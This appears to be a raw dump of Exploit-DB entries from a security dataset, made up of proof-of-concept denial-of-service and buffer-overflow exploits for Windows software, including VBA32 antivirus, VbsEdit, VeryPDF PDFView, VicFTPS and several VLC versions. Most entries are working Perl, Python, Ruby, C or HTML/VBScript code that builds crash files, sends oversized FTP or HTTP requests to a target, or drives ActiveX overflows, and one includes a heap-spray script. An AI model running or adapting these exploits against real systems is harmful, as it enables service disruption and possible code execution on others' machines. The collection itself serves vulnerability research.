deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6658
Description: VBA32 Personal AntiVirus 3.12.8.x - Malformed Archive Denial of Service
Type: dos
Platform: windows
Date: 2008-10-03
Author: LiquidWorm

Exploit:
------------------------------------------------------------------------------------------------------------------------------

VBA32 Personal Antivirus 3.12.8.x (malformed archive) Denial of Service PoC

Summary: Antivirus program for personal computers running Windows which
is a reliable and, it is crucial, quick tool to detect and neutralize computer viruses,
mail worms, trojan programs and other malware (backdoors, adware, spyware, etc)
in real time and by request.

Desc: VBA32 (VirusBlokAda) Personal Version 3.12.8.x suffers from a denial of service
vulnerability that causes memory corruption and causing the software to crash while
scanning a malformed archive.

Product web page: http://www.anti-virus.by/en/personal.html

Tested on Microsoft Windows XP SP2 (English)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

liquidworm [t00t] gmail [m00t] com

http://www.zeroscience.org

03.10.2008

------------------------------------------------------------------------------------------------------------------------------

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6658.rar (2008-vba32_poc.rar)

# milw0rm.com [2008-10-03]
Exploit-DB #46023
Description: VBScript - MSXML Execution Policy Bypass
Type: dos
Platform: windows
Date: 2018-12-20
Author: Google Security Research

Exploit:
According to https://blogs.windows.com/msedgedev/2017/07/07/update-disabling-vbscript-internet-explorer-11/, Starting from Windows 10 Fall Creators Update, VBScript execution in IE 11 should be disabled for websites in the Internet Zone and the Restricted Sites Zone by default.

However, the VBScript execution policy does not appear to cover VBScript code in MSXML xsl files which can still execute VBScript, even when loaded from the Internet Zone.

To demonstrate, place the files in the attached archive on a web server in the Internet zone and open index.html. If successful, the text "Hello from VBscript" will be rendered on the page. If you look at the provided code, this text is assembled dynamically by VBScript.

This has been tested on Windows 10 Version 1803 with the latest patches applied and VBScript execution policy applied for the Internet Zone (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\140C = 3).


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46023.zip
Exploit-DB #14679
Description: VbsEdit 4.6.1.0 - Denial of Service
Type: dos
Platform: windows
Date: 2010-08-18
Author: C.G. Tan

Exploit:
# Exploit Title: VbsEdit v4.6.1.0 DoS
# Date: 8 / 12 / 2010
# Author: C G Tan
# Software Link: http://www.vbsedit.com/tr_download.asp
# Version: v4.6.1.0 32-bit Version
# Tested on: Windows XP SP 2, Windows XP SP 3
# CVE : N / A
# Description : This is the latest version from the official website.

#!/usr/bin/perl

#Opening crash.vbs in VbsEdit will cause VbsEdit to crash consistently.
 
open FILE, ">crash.vbs";
print FILE 'a'x44000;
close FILE;
Exploit-DB #15494
Description: VbsEdit 4.7.2.0 - '.vbs' Buffer Overflow
Type: dos
Platform: windows
Date: 2010-11-12
Author: anT!-Tr0J4n

Exploit:
#Title: VbsEdit v 4.7.2.0(.vbs) Buffer Overflow Vulnerability

#Author    :   anT!-Tr0J4n

#Email      :   D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com

#Greetz    :   Dev-PoinT.com ; GlaDiatOr,SILVER STAR , HoBeeZ, Coffin Of Evil

#special thanks    :   r0073r,Sid3^effects,L0rd CruSad3r,SeeMe,Sonic,gunslinger_,Sn!pEr.S!Te,n4pst3rr,indoushka, KnocKout,SONiC,ZoRLu 

#Home     :   www.Dev-PoinT.com  $ http://inj3ct0r.com

#Software :  http://www.vbsedit.com

#Tested on:   Windows XP sp3

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


#!/usr/bin/perl 
print "| Author: anT!-Tr0J4n      |\n";
print "| Greetz :http://inj3ct0r.com     |\n";
print "|Home : www.Dev-PoinT.com  |\n";

my $junk= "\x41" x 43500 ;
open(file,">crash.vbs");
print file $junk ;
close(file);
Exploit-DB #27010
Description: VbsEdit 5.9.3 - '.smi' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2013-07-22
Author: d3b4g

Exploit:
# Exploit Title: VbsEdit 5.9.3(.smi file handling) Buffer overflow vulnerability
# Date: 22.7.2013
# Exploit Author: d3b4g
# Vendor Homepage:http://www.vbsedit.com/
# Software Link: http://www.vbsedit.com/
# Tested on: Windows XP SP3
# Twitter: @schaba



#!/usr/bin/python
# Tested on: win XPsp3
chars = "A"*90000
crush = "\x41\x41\x41\x41"
file=open('exp.smi','w')
file.write(chars+crush+chars)
file.close()
Exploit-DB #32587
Description: VeryPDF PDFView - ActiveX Component Heap Buffer Overflow
Type: dos
Platform: windows
Date: 2008-11-15
Author: r0ut3r

Exploit:
source: https://www.securityfocus.com/bid/32313/info

The VeryPDF PDFView ActiveX control is prone to a heap buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in denial-of-service conditions. 

<object classid='clsid:433268D7-2CD4-43E6-AA24-2188672E7252' id='target'></object> <script language='vbscript'> Sub Boom buff = String(1006, "A") target.OpenPDF buff, 1, 1 End Sub </script> <input type=button onclick=Boom() value='Boom?'>
Exploit-DB #7126
Description: VeryPDF PDFView - OCX ActiveX OpenPDF Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-11-15
Author: r0ut3r

Exploit:
<!--
VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow

Discovered & Written By:
r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)

Advisory: http://www.bmgsec.com.au/advisory/39/
---------------------------------------------------
Tested on: WinXP Pro SP2

Version: 2.0.0.1
GUID: {433268D7-2CD4-43E6-AA24-2188672E7252}

RegKey Safe for Script: True
RegKey Safe for Init: True

EAX 0003C910 ASCII "AAAAAAAAA""
ECX 000301D0
EDX 00000040
EBX 41414141
ESP 0013B8D8
EBP 0013BAF4
ESI 0003C908 ASCII "AAAAAAAAAAAAAAAAA""
EDI 41414141
EIP 7C91B3FB ntdll.7C91B3FB
-->

<object classid='clsid:433268D7-2CD4-43E6-AA24-2188672E7252' id='target'></object>

<script language='vbscript'>
 Sub Boom
    buff = String(1006, "A")
    target.OpenPDF buff, 1, 1

 End Sub
</script>
<input type=button onclick=Boom() value='Boom?'>

# milw0rm.com [2008-11-15]
Exploit-DB #3331
Description: VicFTPS < 5.0 - 'CWD' Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2007-02-18
Author: r0ut3r

Exploit:
/*
VicFTPs Server CWD Remote Buffer Overflow Vulnerability
                 DoS Proof of concept

            r0ut3r (writ3r [at] gmail.com)

Thanks to:
Marsu (Marsupilamipowa [at] hotmail.fr)
for helping me out with this vulnerability.

Greets Marsu, and Timq.

Description:
Sending a long argument to CWD will cause VicFTPs Server
to overwrite memory. EIP is overwritten at 323. The POC
uses a larger buffer to overwrite exception handler,
preventing an error message.  
*/

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 21

int s;
struct sockaddr_in sock_addr;

char recvbuf[1024];
char pwn[450];

int main(int argc, char* argv[])
{
      if (argc < 2) {
        printf("Usage: %s <ip>\n", argv[0]);
        return 1; }

      if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
        printf("error with socket\n");
        return 1; }

      sock_addr.sin_family = AF_INET;
      sock_addr.sin_addr.s_addr = inet_addr(argv[1]);
      sock_addr.sin_port = htons(PORT);

      if (connect(s, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr)) == -1) {
        printf("unable to connect\n");
        return 1; }

      printf("[+] Connected\n");
      memset(recvbuf, '\0', 1024);
      recv(s, recvbuf, 1024, 0);

      char userbuf[50];
      printf("[+] Sending user...\n");
      memset(userbuf, '\0', 50);
      memcpy(userbuf, "USER anonymous\r\n", 18);
      if (send(s, userbuf, strlen(userbuf), 0) == -1) {
        printf("unable to send data\n");
        return 1; }

      memset(recvbuf, '\0', 1024);
      recv(s, recvbuf, 1024, 0);

      char passbuf[50];
        printf("[+] Sending pass...\n");
        memcpy(passbuf, "PASS anonymous\r\n", 18);
        if (send(s, passbuf, strlen(passbuf), 0) == -1) {
                printf("unable to send data\n");
                return 1; }
      recv(s, recvbuf, 1024, 0);

      printf("[+] Building payload. \n");
      memset(pwn, '\0', 450);
      memcpy(pwn, "CWD ", 4);
      memset(pwn+4, 'A', 400);
      memcpy(pwn+404, "\r\n", 2);

      printf("[+] Sending payload.\n");
      if (send(s, pwn, strlen(pwn), 0) == -1) {
        printf("unable to send data\n");
        return 1; }

      printf("[!] Boom! crashed?!\n");

      return 0;
}

// milw0rm.com [2007-02-18]
Exploit-DB #3119
Description: VideoLAN VLC Media Player 0.8.6a - Denial of Service (1)
Type: dos
Platform: windows
Date: 2007-01-12
Author: shinnai

Exploit:
print "-----------------------------------------------------------------------"
print "# VLC media player 0.8.6a Denial of Service"
print "# author: shinnai"
print "# mail: shinnai[at]autistici[dot]org"
print "# site: http://shinnai.altervista.org"
print "# soundtrack: Territorial pissing (Nirvana)"
print "# Tested on Windows xp Professional SP2 all patched"
print "# Special thanks to rgod"
print "-----------------------------------------------------------------------"

head = \
"\x30\x26\xb2\x75\x8e\x66\xcf\x11\xa6\xd9\x00\xaa\x00\x62\xce\x6c"+\
"\x66\x14\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x01\x02\xa1\xdc"+\
"\xab\x8c\x47\xa9\xcf\x11\x8e\xe4\x00\xc0\x0c\x20\x53\x65\x68\x00"+\
"\x00\x00\x00\x00\x00\x00\x88\xb6\x08\x46\x9a\x96\x6e\x45\x8d\xaf"+\
"\x90\x2c\xd0\xfc\xb6\x18\x52\x01\x1f\x00\x00\x00\x00\x00\x00\x5d"+\
"\x55\x03\x2e\xce\xc4\x01\x37\x05\x00\x00\x00\x00\x00\x00\xd0\x03"+\
"\xa1\x08\x00\x00\x00\x00\xf0\x64\x0c\x08\x00\x00\x00\x00\xb8\x0b"+\
"\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\xee\x05\x00\x00\xee\x05"+\
"\x00\x00\x5e\x6a\x15\x00\xb5\x03\xbf\x5f\x2e\xa9\xcf\x11\x8e\xe3"+\
"\x00\xc0\x0c\x20\x53\x65\x45\x10\x00\x00\x00\x00\x00\x00\x11\xd2"+\
"\xd3\xab\xba\xa9\xcf\x11\x8e\xe6\x00\xc0\x0c\x20\x53\x65\x06\x00"+\
"\x17\x10\x00\x00\xa9\x46\x43\x7c\xe0\xef\xfc\x4b\xb2\x29\x39\x3e"+\
"\xde\x41\x5c\x85\x21\x00\x00\x00\x00\x00\x00\x00\x01\x00\x06\x66"+\
"\x00\x72\x00\x00\x00\x5d\x8b\xf1\x26\x84\x45\xec\x47\x9f\x5f\x0e"+\
"\x65\x1f\x04\x52\xc9\x1a\x00\x00\x00\x00\x00\x00\x00\x02\x01\xea"+\
"\xcb\xf8\xc5\xaf\x5b\x77\x48\x84\x67\xaa\x8c\x44\xfa\x4c\xca\x5a"+\
"\x01\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x01\x00\x0c\x00\x02"+\
"\x00\x02\x00\x00\x00\x49\x00\x73\x00\x56\x00\x42\x00\x52\x00\x00"+\
"\x00\x00\x00\x00\x00\x01\x00\x34\x00\x00\x00\x06\x00\x00\x00\x44"+\
"\x00\x65\x00\x76\x00\x69\x00\x63\x00\x65\x00\x43\x00\x6f\x00\x6e"+\
"\x00\x66\x00\x6f\x00\x72\x00\x6d\x00\x61\x00\x6e\x00\x63\x00\x65"+\
"\x00\x54\x00\x65\x00\x6d\x00\x70\x00\x6c\x00\x61\x00\x74\x00\x65"+\
"\x00\x00\x00\x4c\x00\x31\x00\x00\x00\x00\x00\x02\x00\x0c\x00\x02"+\
"\x00\x02\x00\x00\x00\x49\x00\x73\x00\x56\x00\x42\x00\x52\x00\x00"+\
"\x00\x01\x00\x00\x00\x02\x00\x34\x00\x00\x00\x04\x00\x00\x00\x44"+\
"\x00\x65\x00\x76\x00\x69\x00\x63\x00\x65\x00\x43\x00\x6f\x00\x6e"+\
"\x00\x66\x00\x6f\x00\x72\x00\x6d\x00\x61\x00\x6e\x00\x63\x00\x65"+\
"\x00\x54\x00\x65\x00\x6d\x00\x70\x00\x6c\x00\x61\x00\x74\x00\x65"+\
"\x00\x00\x00\x40\x00\x00\x00\x00\x00\x01\x00\x2e\x00\x03\x00\x04"+\
"\x00\x00\x00"

buff = "A" * 4000

VLCFile = head + buff

fileOut = open('videolan.wmv','wb')
fileOut.write(VLCFile)
fileOut.close()

# milw0rm.com [2007-01-12]
Exploit-DB #11103
Description: VideoLAN VLC Media Player 0.8.6i - ActiveX Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2010-01-10
Author: D3V!L FUCKER & germaya_x

Exploit:
<html>
exploit:[vlc ActiveX remote buffer overflow poc]
Author :[D3V!L FUCKER and germaya_x]
soft   :[vlc player]
version:[o.8.6i]
tested :[win xp sp2]
Greetz [2] : WwW.v99x.CoM we miss you ,his0k4


<object classid='clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921' id='target' ></object>
Exploit-DB #4688
Description: VideoLAN VLC Media Player 0.86 < 0.86d - ActiveX Remote Bad Pointer Initialization
Type: dos
Platform: windows
Date: 2007-12-04
Author: Ricardo Narvaja

Exploit:
<!--
       Core Security Technologiess - CoreLabs Advisory
            http://www.coresecurity.com/corelabs

    VLC Activex Bad Pointer Initialization Vulnerability

*Advisory Information*
Title: VLC Activex Bad Pointer Initialization Vulnerability
Advisory ID: CORE-2007-1004
Advisory URL: http://www.coresecurity.com/?action=item&id=2035
Date published: 2007-12-04
Date of last update: 2007-12-03
Vendors contacted: VLC
Release mode: Coordinated Release

*Vulnerability Description*
VLC player is a popular multimedia player for various audio and video
formats, and various streaming protocols.

A vulnerability has been found in the ActiveX control DLL (axvlc.dll)
used by VLC player. This library contains three methods whose parameters
are not correctly checked, and may produce a bad initialized pointer. By
providing these functions specially crafted parameters, an attacker can
overwrite memory zones and execute arbitrary code.

*Vulnerable packages*
VLC media player version 0.86, 0.86a, 0.86b y 0.86c.
-->

<html>
<head>
<object classid='clsid:E23FE9C6-778E-49D4-B537-38FCDE4887D8'
id='target' ></object>
</head>
<body>
   <script>
      var mm  = null;

      if( target != null )
      {
         var param1 = unescape("%u0505%u0505");
         var salame = "defaultV";
         var salame2 = 1;
         var salame3 = 0;

         ag   = unescape("%uCCCC%uCCCC");
         sh   =
unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%");
         sz   = sh.length * 2;
         npsz = 0x400000 - (sz + 0x38);
         nps  = unescape("%u0505%u0505");

         while(nps.length * 2 < npsz) nps += nps;
         ihbc = (0x0E000000 - 0x400000) / 0x400000;
         mm   = new Array();

         for(i = 0; i <= ihbc; i++) mm[i] = nps + sh;

         for(var i=0;i<2000;i++)
            param1 = param1 + unescape("%u0505%u0505");
					
         target.getVariable (param1);
      }
   </script>
</body>
</html>

# milw0rm.com [2007-12-04]
Exploit-DB #8213
Description: VideoLAN VLC Media Player 0.9.8a - Web UI 'input' Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-03-16
Author: TheLeader

Exploit:
#!/usr/bin/perl

########################################################
## VLC 0.9.8a Web UI Remote Stack Overflow (DoS) by TheLeader
## GreetZ: forums.hacking.org.il
## TiP oF TEh DaY: Rock on! =]
########################################################

use IO::Socket;

my $host = shift || 'localhost'; # Target host
my $port = shift || 8080; # Target port. Default port = 8080

#Note: for some reason, A x 2070785 = terminate without crash;
my $req = "GET /requests/status.xml?command=in_play&input=" . "A" x 2000000 . " HTTP/1.1\r\n";
$req .= "Host: $host:$port\r\n";
$req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.9.0.7) Gecko/[PII_REDACTED] Firefox/3.0.7 (.NET CLR 3.5.30729)\r\n";
$req .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$req .= "Accept-Language: he,en-US;q=0.7,en;q=0.3\r\n";
$req .= "Accept-Encoding: gzip,deflate\r\n";
$req .= "Accept-Charset: windows-1255,utf-8;q=0.7,*;q=0.7\r\n";
$req .= "Keep-Alive: 300\r\n";
$req .= "Connection: keep-alive\r\n";
$req .= "Referer: http://$host:$port/\r\n\r\n";

print "\nConnecting to $host on port $port\n";

my $sock = new IO::Socket::INET( PeerAddr => $host, PeerPort => $port, Proto => 'tcp');
$sock or die "Cannot connect to server: $!";
print "Sending HTTP request..\n";
print $sock $req;
print "Exploited. Target should be DoSed by now :)\n";

close $sock;

# milw0rm.com [2009-03-16]
Exploit-DB #9029
Description: VideoLAN VLC Media Player 0.9.9 - 'smb://' URI Stack Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-06-29
Author: Trancer

Exploit:
#!/usr/bin/ruby

# VideoLAN VLC Media Player 0.9.9 smb:// URI Stack-based Buffer Overflow (Proof-of-Concept)
#
# Bugtraq ID: 35500
#
# The vulnerability can also be triggered via the VLC web interface (disabled by default):
# http://[vulnerable_ip]:8080/requests/status.xml?command=in_play&input=smb://............
#
# Patch:
# http://git.videolan.org/?p=vlc.git;a=commitdiff;h=e60a9038b13b5eb805a76755efc5c6d5e080180f
#
# Tested on Windows XP SP3 (fully patched), VLC player version 0.9.9 (latest).
#
# Trancer
# http://www.rec-sec.com

foo = "A" * 58
bar = "B" * 4
baz = "C" * 1000

b00m = foo + bar + baz

xspf = %Q|<?xml version="1.0" encoding="UTF-8"?>
<playlist version="1" xmlns="http://xspf.org/ns/0/" xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/">
	<title>Playlist</title>
	<trackList>
		<track>
			<location>smb://foo.com@www.foo.com/foo/#{b00m}</location>
			<extension application="http://www.videolan.org/vlc/playlist/0">
				<vlc:id>0</vlc:id>
			</extension>
		</track>
	</trackList>
</playlist>
|

playlist = File.new("vlc_smb.xspf","wb")
playlist.write(xspf)
playlist.close

# milw0rm.com [2009-06-29]
Exploit-DB #9427
Description: VideoLAN VLC Media Player 1.0.0/1.0.1 - 'smb://' URI Handling Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-08-13
Author: Dr_IDE

Exploit:
#!/usr/bin/env python

############################################################################
#
# VLC Media Player 1.0.0\1.0.1 smb:// URI Handling Remote Stack Overflow PoC
# Found By:	Dr_IDE
# Tested:	Windows XP SP2 , XP SP3 and Windows 7 RC1
# Thanks:	Pankaj Kohli for finding this in 0.8.6f
# Original:	http://www.milw0rm.com/exploits/9303
#
############################################################################

# Crash Breakdown of vlc v1.0.1 on XP SP2/SP3
"""
EAX FFFFFFFE
ECX 42424242 <---- Bytes 3-6 of our payload
EDX 00000000
EBX 42424242 <---- Bytes 3-6 of our payload
ESP 02CBF694
EBP 02CBF7C4
ESI 61CC8324 libacc_4.61CC8324
EDI 61CC8323 libacc_4.61CC8323
EIP 77C478AC msvcrt.77C478AC
C 0  ES 0023 32bit 0(FFFFFFFF)
P 0  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFAC000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_MOD_NOT_FOUND (0000007E)
EFL 00010202 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty -UNORM FB18 77C2C3E7 00E128A0
ST1 empty +UNORM 2088 [PII_REDACTED]
ST2 empty %#.19L
ST3 empty -??? FFFF 00000000 77C2C42E
ST4 empty 0[PII_REDACTED]999289457
ST5 empty %#.19L
ST6 empty 0[PII_REDACTED]999289457
ST7 empty 0[PII_REDACTED]000000000
               3 2 1 0      E S P U O Z D I
FST 0020  Cond 0 0 0 0  Err 0 0 1 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1
"""


header1 =  ("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n")
header1 += ("<playlist version=\"1\" xmlns=\"http://xspf.org/ns/0/\" xmlns:vlc=\"http://www.videolan.org/vlc/playlist/ns/0/\">\n")
header1 += ("\t<title>Playlist</title>\n")
header1 += ("\t<trackList>\n")
header1 += ("\t\t<track>\n")
header1 += ("\t\t\t<location>smb://example.com@www.example.com/foo/#{")

# Stack Overwrite after first 2 bytes of URI. It seems that you can't put traditional NOP's in here BTW.
# Code execution does not seem possible.

payload = ("\x41" * 2 + "\x42" * 4 + "\x43" * 10000)

header2 =  ("}</location>\n");
header2 += ("\t\t\t<extension application=\"http://www.videolan.org/vlc/playlist/0\">\n");
header2 += ("\t\t\t\t<vlc:id>0</vlc:id>\n");
header2 += ("\t\t\t</extension>\n");
header2 += ("\t\t</track>\n");
header2 += ("\t</trackList>\n");
header2 += ("</playlist>\n");

try:
    f1 = open("vlc_1.0.X.xspf","w")
    f1.write(header1 + payload + header2)
    f1.close()
    print("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-08-13]
Exploit-DB #10840
Description: VideoLAN VLC Media Player 1.0.3 - '.asx' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2009-12-31
Author: D3V!L FUCKER

Exploit:
#!/user/bin/perl
# Author: [D3V!L FUCKER]
# Tested on: [windows vista sp0]
# Code :
my $file= "crash.asx";

my $boom= "http://"."AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x 500000;

open($FILE,">>$file");

print $FILE "$boom";

close($FILE);

print "Done..!~#\n";
Exploit-DB #10333
Description: VideoLAN VLC Media Player 1.0.3 - 'smb://' URI Handling Remote Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-12-06
Author: Dr_IDE

Exploit:
#!/usr/bin/env python

######################################################################################################
#
# VLC Media Player 1.0.3 smb:// URI Handling Remote Stack Overflow PoC
# Found By:	Dr_IDE
# Tested:	Windows 7
# Download:	http://www.videolan.org
# Note:		Open the .xspf file. It looks like nothing happens but close VLC you will get a crash
#
######################################################################################################

header1 =  ("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n")
header1 += ("<playlist version=\"1\" xmlns=\"http://xspf.org/ns/0/\" xmlns:vlc=\"http://www.videolan.org/vlc/playlist/ns/0/\">\n")
header1 += ("\t<title>Playlist</title>\n")
header1 += ("\t<trackList>\n")
header1 += ("\t\t<track>\n")
header1 += ("\t\t\t<location>smb://example.com@www.example.com/foo/#{")

payload = ("\x41" * 2 + "\x42" * 4 + "\x43" * 10000)

header2 =  ("}</location>\n");
header2 += ("\t\t\t<extension application=\"http://www.videolan.org/vlc/playlist/0\">\n");
header2 += ("\t\t\t\t<vlc:id>0</vlc:id>\n");
header2 += ("\t\t\t</extension>\n");
header2 += ("\t\t</track>\n");
header2 += ("\t</trackList>\n");
header2 += ("</playlist>\n");
Exploit-DB #18309
Description: VideoLAN VLC Media Player 1.1.11 - '.amr' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2012-01-04
Author: Fabi@habsec

Exploit:
#!/usr/bin/perl
##
# Exploit Title: VLC media player v1.1.11 (.amr) Local Crash PoC
# Date: 04.01.2012
# Author: Fabi@habsec (hapsec@gmail.com)
# Software Link: http://sourceforge.net/projects/vlc/files/1.1.11/win32/vlc-1.1.11-win32.exe
# Version: 1.1.11
# Tested on: Windows 7 x86 English
#
# Description: Unhandled Access Violation Exception loading generated .amr file
#              - 1.1.10 not affected!
#
##
#
#
#
system("title VLC .amr crash PoC");
system("cls");
print "\n";                  
print " [*] Name : VLC media player v1.1.11 (Adaptive Multi-Rate)\n";
print " [*] Exploit : Local Crash PoC                            \n";
sleep(2);
print "\n";
my $amr_boof = "\x23\x21\x41\x4D\x52"; # Treat as AMR 
$amr_boof .= "\x41"x1000; # j4f
open(file , ">", "b00f.amr");
print file $amr_boof;
print "  [+] File successfully created! Open in VLC or drag to playlist..\n" or die print "\n Wuups- Could not create File.. ";
close(file);
# 
#Hannibal ante portas
Exploit-DB #37462
Description: VideoLAN VLC Media Player 2.0.1 - '.avi' File Denial of Service
Type: dos
Platform: windows
Date: 2012-06-28
Author: Dark-Puzzle

Exploit:
source: https://www.securityfocus.com/bid/54208/info

VLC Media Player is prone to a denial-of-service vulnerability.

Successful exploits may allow attackers to crash the affected application, denying service to legitimate users. 

#!/usr/bin/perl
my $h ="\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
my $d = "\x41" x 500429 ;


my $file = "dark.avi";

open ($File, ">$file");
print $File $h,$d;
close ($File);